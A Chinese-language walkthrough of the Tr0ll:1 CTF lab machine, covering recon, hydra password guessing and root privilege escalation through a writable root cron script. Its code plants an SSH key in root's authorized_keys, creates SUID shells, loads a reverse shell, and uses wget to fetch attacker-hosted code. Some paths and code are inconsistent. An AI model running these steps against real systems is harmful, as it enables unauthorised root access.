Tr0ll:1靶机-Walkthrough
工具和知识点
netdiscover
nmap
dirb
wireshark
hydra
Linux 3.13.0内核漏洞提权
python反弹shell
计划任务提权
SSH密钥登录
FTP状态码
一、信息收集
靶机IP
netdiscover -r 192.168.0.0/24
靶机IP–>192.168.0.108
靶机端口及服务
nmap -sS -sV -A -p- 192.168.0.108
网站信息收集
dirb http://192.168.0.108
/robots.tx
User-agent:*
Disallow: /secret
/secert
服务漏洞查找
vsFTPd 3.0.2
OpenSSH 6.6.1p1
Apache 2.4.7
不知道能不能利用
FTP访问
我这里为什么会访问FTP,请看下图:
图片里面有句话:Anonymous FTP login allowed (FTP code 230)
关于FTP 状态码
二、流量包分析
使用Wireshark或tcpdump对FTP中的PCAP数据包进行分析
发现这个流量包除了FTP、FTP-DATA外就是TCP协议
发现用户名和密码
anonymous/password
执行了如下命令:
SYST,查询服务器的操作系统
PORT 10,0,0,12,173,198(不知道干啥的~~)
LIST,列出指定目录中的子目录和文件
存在的文件
sceret_stuff.txt
RETR sceret_stuff.txt,下载sceret_stuff.txt文件
sup3rs3cr3tdirlol这是个啥,密码?网页名称?用户名?没谁的用户名这么变态吧~
当做网页名称试一下
把文件下载下来,使用file
命令后发现是一个ELF文件,Linux下的可执行文件
strings roflmao
没发现什么有价值的信息
执行一下吧
打印出一句话
Find address 0x0856BF to proceed:按发现的地址0x0856BF继续
这应该又是一个网页名称吧~
三、迷之密码猜解
骗子~,这是我的第一反应。因为CTF题目里面老这么玩。
这是啥?
genphlux,说的一定不是这个~这么喜欢骗人,我一定不会信你的
这几个到底是用户名呢,还是密码呢?如果是密码的话,那用户名是不是之前漏掉了?
先当作用户名试一下,密码就用kali自带的rockyou.txt,位置/usr/share/wordlists/rockyou.txt
,如果你只前没有使用过,那么需要先到上述目录把rockyou.txt.gz
解压。hydra
跑了两分钟果断终止了~~
然而密码会不会就是那个Good_job_:)
我碰到你的个鬼哦
我觉得思路就是破解密码无疑了,问题是在这个靶机里破解密码的思路是啥??
真是百思不得其jie啊
文件夹的名字叫this_folder_contains_the_password
Pass.txt
文件里面的密码我们已经试过了,但是这个文件名还没试过~
给作者点赞……
四、权限提升
信息收集
- 当前用户无法执行
sudo
命令 - home目录下只有troll,没有overflow
- 当前用户没有超级管理员权限
- 无操作几分钟后自动断开SSH连接
下载并执行Linuxprivchecker.py脚本。
下载的时候注意切换到tmp目录,避免写入权限不足。
分享一个Github 9k+ star的项目PayloadsAllTheThings,里面有Linux提权的内容Linux - Privilege Escalation.
第一种提权方法
运行Linuxprivchecker脚本发现靶机内核版本为:Linux version 3.13.0
以下几种提权方式均基于计划任务
第二种提权方法
为了避免第一种提权方法对靶机的影响,我重新导入了靶机,新导入靶机的IP还是
192.168.0.108
SSH登录靶机之后,发现无操作几分钟后,会话自动断开,原因可能是设置了计划任务。进而查看相应日志/var/log/cronlog
find
命令查找脚本所在位置为/lib/log/cleaner.py
注意:这个脚本不是负责结束会话的脚本
/lib/log/cleaner.py
脚本在计划任务中是以root权限执行的,并且该脚本是全局可写的,那么我们就可以利用这一点进行提权。
首先在kali攻击上生成SSH密钥,使用如下命令:
ssh-keygen
生成密钥的过程中会让你选择密钥的保存位置,默认是
/root/.ssh/
我这里更改到了/root/Desktop/
,这个操作也让后面root
登录时出现了小插曲。
其次,覆盖/var/log/cleaner.py
中的内容,如下:
#!/usr/bin/env python
import os
import sys
try:
os.system('mkdir /root/.ssh; chmod 775 .ssh; echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDEb4HsuF9WBX1hV5wxbup/q+bdJqmo2mAaolzmp0aMOSv3wco6pwsg9zPV7WZtcJkXd6jXBAODli4JAdBB2WcpCotPervDK/zrLhNDdbdyRmomUq4QFfHJKF34/PtUJWbNdes2Y+wODsWAwhq2xtKLppbYSfViOE4FR+D7b0zehDVm6kaid8F+SwZC+FPFnDBocXxFIFeA9L+JEnRHOFCD1tfRXLT9cRVIYiBeIzKWXuyq8UUoWKb+2FOwdkMgLUQI8GrlT2e8ifydGmYN/Km3P7tyTv9WFIJNKqJFSltklGuKAodcNHW4FRSssbgZ5P5vEtNpkkveDRMxnuKdzrVT/i7f9htrkfjTCI9NWW2imTNZziajYneMVxgECEQ+6M7YHRecRGxmKkeHcmPux28thIkIs/vyMAaXljq0MSzJINJGFJwBdVmEKOQXFWcN9PCOSRek/VysMG0nXIWEyCthIkT4PscdeiYb5aBs8qeBWE/OZwT+xRCuW8/S6Zx7qQk= root@hunter" >> /root/.ssh/authorized_keys')
except:
sys.exit()
echo “kali生成的公钥”,即
id_rsa.pub
的全部内容
最后,等待最多两分钟,就可以在kali终端使用root账户登录靶机了。然而我这里出现了小插曲,如下图所示:
先看排错过程。
-
计划任务还没执行?我用第一种方法
提升到root
权限,查看了/root/.ssh/authorized_keys
文件,发现里面已经有了我们写入的公钥。 -
不允许root账户远程登录?我查看了/etc/ssh/sshd_config
文件,里面的与root账户使用密钥登录的配置如下:
RSAAuthentication yes
PubkeyAuthentication yes
PermitRootLogin without-password
#PasswordAuthentication yes
难道是kali攻击机上放置密钥的位置不对?我将公钥私钥移动到/root/.ssh/
后,然后就成功使用root
登录到靶机上了。
后面为了证实,我将公钥私钥移出
/root/.ssh/
,然后重启了kali攻击机,重新登录发现需要密码。
第三种提权方法
我们将该脚本中的内容改为python反弹shell。这样以来,反弹回来的shell就直接是root权限。
我提前使用wget
将python-shell.py
脚本下载到了靶机的tmp
目录,又切换目录至根目录cd /
,然后使用命令
cat /tmp/python-shell.py > /lib/log/cleaner.py
直接将cleaner.py
原有内容覆盖
第四种提权方法
创建suid程序
首先创建c脚本,内容如下:
int main(void){
setgid(0);
setuid(0);
system(/bin/bash);
}
其次wget下载到靶机的tmp目录
wget http://192.168.0.107/Desktop/suid.c
然后gcc
编译suid.c
gcc suid.c -o suid
最后编辑/var/log/cleaner.py
脚本,内容如下:
#!/usr/bin/env python
import os
import sys
try:
os.system('chown root:root /tmp/suid; chmod 4777 /tmp/suid')
except:
sys.exit()
第五种提权方法
这种提权方法跟第四种提权方法
的本质是一样的。
同样是利用计划任务,代码如下:
#!/usr/bin/env python
import os
import sys
try:
os.system('cp /bin/sh /tmp/sh')
os.system('chmod u+s /tmp/sh')
except:
sys.exit()